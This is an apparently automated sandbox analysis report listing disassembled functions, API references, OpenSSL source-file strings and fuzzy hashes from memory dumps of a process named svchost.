Opcode ID: 594981efdf0b0bc1dd16da0d9763bae2fcac2d566868208271724ffb70fb5ae8
Instruction ID: ff6226efcd7288f0ceefbbb4d94d6d500799e98e1ff2165a90e4b1c10cf9ed1e
Opcode Fuzzy Hash: 594981efdf0b0bc1dd16da0d9763bae2fcac2d566868208271724ffb70fb5ae8
Instruction Fuzzy Hash: 6041A3B2A0E68282E7629B75E5507BE6390FB94B84F54C031EE5D83BB5DE3CD845CB00

Function 00007FFBAB484420 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4844EA
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484502
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB484539
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB484551

Strings

tls_construct_stoc_status_request, xrefs: 00007FFBAB4844EF, 00007FFBAB48453E
ssl\statem\extensions_srvr.c, xrefs: 00007FFBAB4844FB, 00007FFBAB48454A

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug
String ID: ssl\statem\extensions_srvr.c$tls_construct_stoc_status_request
API String ID: 193678381-1174127863
Opcode ID: 69967520ab07d786b5007b022920560fe12736c1b069c0e31d578238edd2043d
Instruction ID: 3e6bc3f9503f9dcda9149e09f30947a445ea6e2b641e9f60b8c7e5c4e484389e
Opcode Fuzzy Hash: 69967520ab07d786b5007b022920560fe12736c1b069c0e31d578238edd2043d
Instruction Fuzzy Hash: E33172A1F1A55242FBA29776E5957BD2350AB44BC4F548032EF2C87AF6DF2CE8858700

Function 00007FFBAB478A30 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB411740: CRYPTO_zalloc.LIBCRYPTO-3-X64 ref: 00007FFBAB4120F6
Part of subcall function 00007FFBAB411740: CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB412138

ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB4756B4), ref: 00007FFBAB478B14
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB4756B4), ref: 00007FFBAB478B2C
ERR_new.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB4756B4), ref: 00007FFBAB478B4A
ERR_set_debug.LIBCRYPTO-3-X64(?,?,?,?,00000000,00007FFBAB4756B4), ref: 00007FFBAB478B62

Strings

ssl\record\methods\tls_common.c, xrefs: 00007FFBAB478B25, 00007FFBAB478B5B
tls_initialise_write_packets_default, xrefs: 00007FFBAB478B19, 00007FFBAB478B4F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$O_freeO_zalloc
String ID: ssl\record\methods\tls_common.c$tls_initialise_write_packets_default
API String ID: 2822291608-433091719
Opcode ID: c208c9c7c89a00b8ead086420fa9b379340a8a7e8dee45128d96744d93d39b55
Instruction ID: 410063d27f4d858c406a6a6651b45ec64f129feb5b361b582bbb4b67e5d43708
Opcode Fuzzy Hash: c208c9c7c89a00b8ead086420fa9b379340a8a7e8dee45128d96744d93d39b55
Instruction Fuzzy Hash: 5131C1B2B0968286E752DB36E8417BA6751FF447C4F448032EE6D43BA6EE3CE195C740

Function 00007FFBAB4986BB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

BIO_clear_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987C5
BIO_set_flags.LIBCRYPTO-3-X64 ref: 00007FFBAB4987D2

Strings

ossl_statem_server_read_transition, xrefs: 00007FFBAB498A49
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB498A55

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_flagsO_set_flags
String ID: ossl_statem_server_read_transition$ssl\statem\statem_srvr.c
API String ID: 3946675294-702932334
Opcode ID: 382df98638a1e4465aad15199b773374ec11609d9035a1cbd4d713e8dba48c40
Instruction ID: 1a025a81d40cc7b5e8961095b57fb147b8c77a2cfcd4dfd099c45f298b68a17f
Opcode Fuzzy Hash: 382df98638a1e4465aad15199b773374ec11609d9035a1cbd4d713e8dba48c40
Instruction Fuzzy Hash: 9221B2A1A0A28242FB96DB75D8D53FC2B90EB44788F48C436DE5D87BE2CE7DD4858301

Function 64941AC0 Relevance: 10.6, APIs: 7, Instructions: 67COMMON

Download Yara Rule

APIs

CreateSemaphoreA.KERNEL32 ref: 64941B20
CreateSemaphoreA.KERNEL32 ref: 64941B36
InitializeCriticalSection.KERNEL32 ref: 64941B5B
InitializeCriticalSection.KERNEL32 ref: 64941B61
InitializeCriticalSection.KERNEL32 ref: 64941B67
CloseHandle.KERNEL32 ref: 64941B90
CloseHandle.KERNEL32 ref: 64941BA5

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: CriticalInitializeSection$CloseCreateHandleSemaphore
String ID:
API String ID: 3487344249-0
Opcode ID: eb7254ae0b87aaabb354fe5c7cf01b8aa784702653ead7a0c4080870feffabbc
Instruction ID: 31c3c2f24a53828e468885d33ffcfcee3f6f88692367c2784a926345d8c92843
Opcode Fuzzy Hash: eb7254ae0b87aaabb354fe5c7cf01b8aa784702653ead7a0c4080870feffabbc
Instruction Fuzzy Hash: 40219D327016418AFB099F32F9503AA37E5EB45B98F088139CE2D4B398EF38C495C750

Function 00007FFBAB41A1A0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB41A216
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB41A22E

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A260
EVP_PKEY_CTX_free.LIBCRYPTO-3-X64 ref: 00007FFBAB41A271

Strings

ssl_generate_param_group, xrefs: 00007FFBAB41A21B
ssl\s3_lib.c, xrefs: 00007FFBAB41A227

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_vset_errorX_freeY_free
String ID: ssl\s3_lib.c$ssl_generate_param_group
API String ID: 576972184-387558606
Opcode ID: 6c832336910e37df2c60674589dbba50d4f605e1a216c7111e2cf0958ac00a81
Instruction ID: 25b81b905e168040deea149fb3f84b4eb99c232a76c9ef0cedb83d09927575ff
Opcode Fuzzy Hash: 6c832336910e37df2c60674589dbba50d4f605e1a216c7111e2cf0958ac00a81
Instruction Fuzzy Hash: 152158A1A5FB8241E661DB76F54116E6350FF84BC0F089435EE6D477AADF3CE4448701

Function 00007FFBAB49833F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49834D
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB498365

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB49839E
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4983B6

Strings

tls_process_end_of_early_data, xrefs: 00007FFBAB498352, 00007FFBAB4983A3
ssl\statem\statem_srvr.c, xrefs: 00007FFBAB49835E, 00007FFBAB4983AF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: ssl\statem\statem_srvr.c$tls_process_end_of_early_data
API String ID: 4275876640-1059509600
Opcode ID: 4485de0aa40c5a7896a7b2ff5e6624c0cb4c7c79709b11956f7b9e4c8be99114
Instruction ID: 348b769402de6db91a07440c2a594e192e50a93784f04e9190a137bcace21436
Opcode Fuzzy Hash: 4485de0aa40c5a7896a7b2ff5e6624c0cb4c7c79709b11956f7b9e4c8be99114
Instruction Fuzzy Hash: 1A1163B2B0D14182E7529B7AE8926FD6351EF80784F488432DF2D876B6DEADD4848315

Function 00007FFBAB47AF10 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AF43
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47AF5B

Part of subcall function 00007FFBAB487C10: ERR_vset_error.LIBCRYPTO-3-X64(00000000,00000000,?,00007FFBAB472254), ref: 00007FFBAB487C3F

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47AF98
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB47AFB0

Strings

ssl\statem\extensions.c, xrefs: 00007FFBAB47AF54, 00007FFBAB47AFA9
final_renegotiate, xrefs: 00007FFBAB47AF48, 00007FFBAB47AF9D

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$R_vset_error
String ID: final_renegotiate$ssl\statem\extensions.c
API String ID: 4275876640-1968291038
Opcode ID: ec150c88d15395adc615c92e4221016b800d5573465288725ea1e7b60c0f820d
Instruction ID: 4ba58d7c75a528cce73fd706d3a8ec1a4143cb60cbc5022eadc9ed1c72b3c9f6
Opcode Fuzzy Hash: ec150c88d15395adc615c92e4221016b800d5573465288725ea1e7b60c0f820d
Instruction Fuzzy Hash: 9D118CF2B1B38282FB6397B5D892BF822509F40711F848431DE3D466F2DE2CA9D68640

Function 64946E80 Relevance: 10.5, APIs: 7, Instructions: 46COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 64946EA5
OpenProcess.KERNEL32 ref: 64946EC1
CloseHandle.KERNEL32 ref: 64946ECF
_errno.MSVCRT ref: 64946EF3

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen_errno
String ID:
API String ID: 2250453136-0
Opcode ID: 647cea97fea39e1f8afd9dff8aee47f7913a4ca09984285e2b8a4a307c22f2b2
Instruction ID: c4dd9a8f5984872ef2400fb7ba57e55cf54f323c349d37ceb4cc8f7486eb7d88
Opcode Fuzzy Hash: 647cea97fea39e1f8afd9dff8aee47f7913a4ca09984285e2b8a4a307c22f2b2
Instruction Fuzzy Hash: ED01B57538570183EB1D5F65D84831E26E79F4BB69F144228DE29423E1EF3EC968C620

Function 00007FFBAB4308C0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB430903
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB43091B
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB43092B
EVP_PKEY_free.LIBCRYPTO-3-X64 ref: 00007FFBAB430954

Strings

SSL_CTX_use_PrivateKey_ASN1, xrefs: 00007FFBAB430908
ssl\ssl_rsa.c, xrefs: 00007FFBAB430914

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_errorY_free
String ID: SSL_CTX_use_PrivateKey_ASN1$ssl\ssl_rsa.c
API String ID: 3531505993-1862755855
Opcode ID: ed0d18ab2099c77e0a78522ff7d3284bc7cf175882dee49ffdb4f9cbf1770d66
Instruction ID: 0ae813e58ce3029b2b363d013ac6a9ea10dd8304ab5d824698077d800232f3ac
Opcode Fuzzy Hash: ed0d18ab2099c77e0a78522ff7d3284bc7cf175882dee49ffdb4f9cbf1770d66
Instruction Fuzzy Hash: 9801D6A2B0AB4181E651EB36F5812FDA361EF88BC0F548035EF6C43BB6DE3CD5548600

Function 00007FFBAB4129E0 Relevance: 10.5, APIs: 7, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FFBAB4129F6
EnterCriticalSection.KERNEL32 ref: 00007FFBAB412A0C
EnterCriticalSection.KERNEL32 ref: 00007FFBAB412A1F
LeaveCriticalSection.KERNEL32 ref: 00007FFBAB412A31
LeaveCriticalSection.KERNEL32 ref: 00007FFBAB412A44
ReleaseSemaphore.KERNEL32 ref: 00007FFBAB412A55
LeaveCriticalSection.KERNEL32 ref: 00007FFBAB412A5F

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$CurrentReleaseSemaphoreThread
String ID:
API String ID: 4252005047-0
Opcode ID: c46529817478278fc2bd1f70c2c3e8cb07736d1c93b2ed49c2fcda5e9561b559
Instruction ID: b6325f3caa9928e10f5b89cb859c4ab8aee5b010b18750466830bc485dbec623
Opcode Fuzzy Hash: c46529817478278fc2bd1f70c2c3e8cb07736d1c93b2ed49c2fcda5e9561b559
Instruction Fuzzy Hash: ED11F7B6A1AB02D7DB559F72E59512937B0FB48B84F048435CE1E93724DF38E4A88740

Function 00007FFBAB432C60 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB432C8F
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB432CA7
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB432CB7
RSA_free.LIBCRYPTO-3-X64 ref: 00007FFBAB432CD9

Strings

ssl\ssl_rsa_legacy.c, xrefs: 00007FFBAB432CA0
SSL_CTX_use_RSAPrivateKey_ASN1, xrefs: 00007FFBAB432C94

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: A_freeR_newR_set_debugR_set_error
String ID: SSL_CTX_use_RSAPrivateKey_ASN1$ssl\ssl_rsa_legacy.c
API String ID: 4284916926-3527806555
Opcode ID: 8ba72beae7d7639a58e8190c9d48f9912f529a2c437f245ef5816c94eae23363
Instruction ID: 3d1646128d74b7bb71598fee8bbd5b060ece8fcc3756baa90239dc99dda51fb7
Opcode Fuzzy Hash: 8ba72beae7d7639a58e8190c9d48f9912f529a2c437f245ef5816c94eae23363
Instruction Fuzzy Hash: AA01D6A1B5964241EA52E776E5822BD6290EF487C0F488436FD7E47BABDD2CD4498600

Function 00007FFBAB466BEC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BF6
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466C2B
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Max Stream Data: %llu, xrefs: 00007FFBAB466C21
Max stream data, xrefs: 00007FFBAB466BEC

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Max Stream Data: %llu$Max stream data
API String ID: 4098839300-2997325953
Opcode ID: 891ab0ae919b933d83dc4a02e257d866c9f1b0ab6a12a6ec1125c9ed7e5be16b
Instruction ID: df2184f1a98eccc7f7d2d3cf45dbbb06a8ca03c3aa6d682d36f52cf8951da621
Opcode Fuzzy Hash: 891ab0ae919b933d83dc4a02e257d866c9f1b0ab6a12a6ec1125c9ed7e5be16b
Instruction Fuzzy Hash: A9012CE2E0965384FB26DBB5E8513FD23A1AF44794F409036DE2D4B6A5DE7CE0868301

Function 00007FFBAB456EA0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB456EF8
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB456F10
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB456F21

Strings

expect_quic, xrefs: 00007FFBAB456ED8
ssl\quic\quic_impl.c, xrefs: 00007FFBAB456EE4, 00007FFBAB456F09
ossl_quic_reset, xrefs: 00007FFBAB456EFD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error
String ID: expect_quic$ossl_quic_reset$ssl\quic\quic_impl.c
API String ID: 1552677711-1634402930
Opcode ID: 9600cdcd5425ecf6749ce272cfe2b585568329d36cf7f1c0e9f756ac37b25d4b
Instruction ID: 6c659ad0c77f03ff121407d0851a54ab53a3834d0ad3dbfd3760aad6c51bf9af
Opcode Fuzzy Hash: 9600cdcd5425ecf6749ce272cfe2b585568329d36cf7f1c0e9f756ac37b25d4b
Instruction Fuzzy Hash: 9701A2B1A0B54292FB67A778D452ABD6661EF00340F40C53AED6D426F1DE3DE988C700

Function 00007FFBAB466BAB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466BB5
BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466BE2
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Max data, xrefs: 00007FFBAB466BAB
Max Data: %llu, xrefs: 00007FFBAB466BD8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Max Data: %llu$Max data
API String ID: 4098839300-1929194112
Opcode ID: 4dbca8024f379955c1d958b78c7429e55b08b5d694a725fdce9a9183ff5156f9
Instruction ID: ee978d55f53fdd6e6f1b7213c20400a5f1e86c14157019ddae4f853794ac49a8
Opcode Fuzzy Hash: 4dbca8024f379955c1d958b78c7429e55b08b5d694a725fdce9a9183ff5156f9
Instruction Fuzzy Hash: 550181E1F0965384FE2ADB75E8513FD1391AF45794F409036DE2D4B6A5DE7CE0868300

Function 00007FFBAB466C95 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466BE2
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466C9F
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Data blocked, xrefs: 00007FFBAB466C95
Max Data: %llu, xrefs: 00007FFBAB466BD8

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <unexpected trailing frame data skipped>$ Max Data: %llu$Data blocked
API String ID: 4098839300-2931694649
Opcode ID: cc19025d04c9d1e5c4184106632c55020d344e396dd73dae189ccf0bcab6ce50
Instruction ID: 29a468480df08e662389808b2f65b6999a48d7bd253dcf53dec5dd7f7a173df5
Opcode Fuzzy Hash: cc19025d04c9d1e5c4184106632c55020d344e396dd73dae189ccf0bcab6ce50
Instruction Fuzzy Hash: 670162E1E0965380FA26DBB5E8613FD1351AF40794F409036DE3D0B5E5DE7CE0868201

Function 00007FFBAB466ECE Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 34COMMON

Download Yara Rule

APIs

BIO_printf.LIBCRYPTO-3-X64 ref: 00007FFBAB466EC4
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466ED8
BIO_puts.LIBCRYPTO-3-X64 ref: 00007FFBAB466FC9

Strings

<unexpected trailing frame data skipped>, xrefs: 00007FFBAB466FBF
Path response, xrefs: 00007FFBAB466ECE
Data: %016llx, xrefs: 00007FFBAB466EBA

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
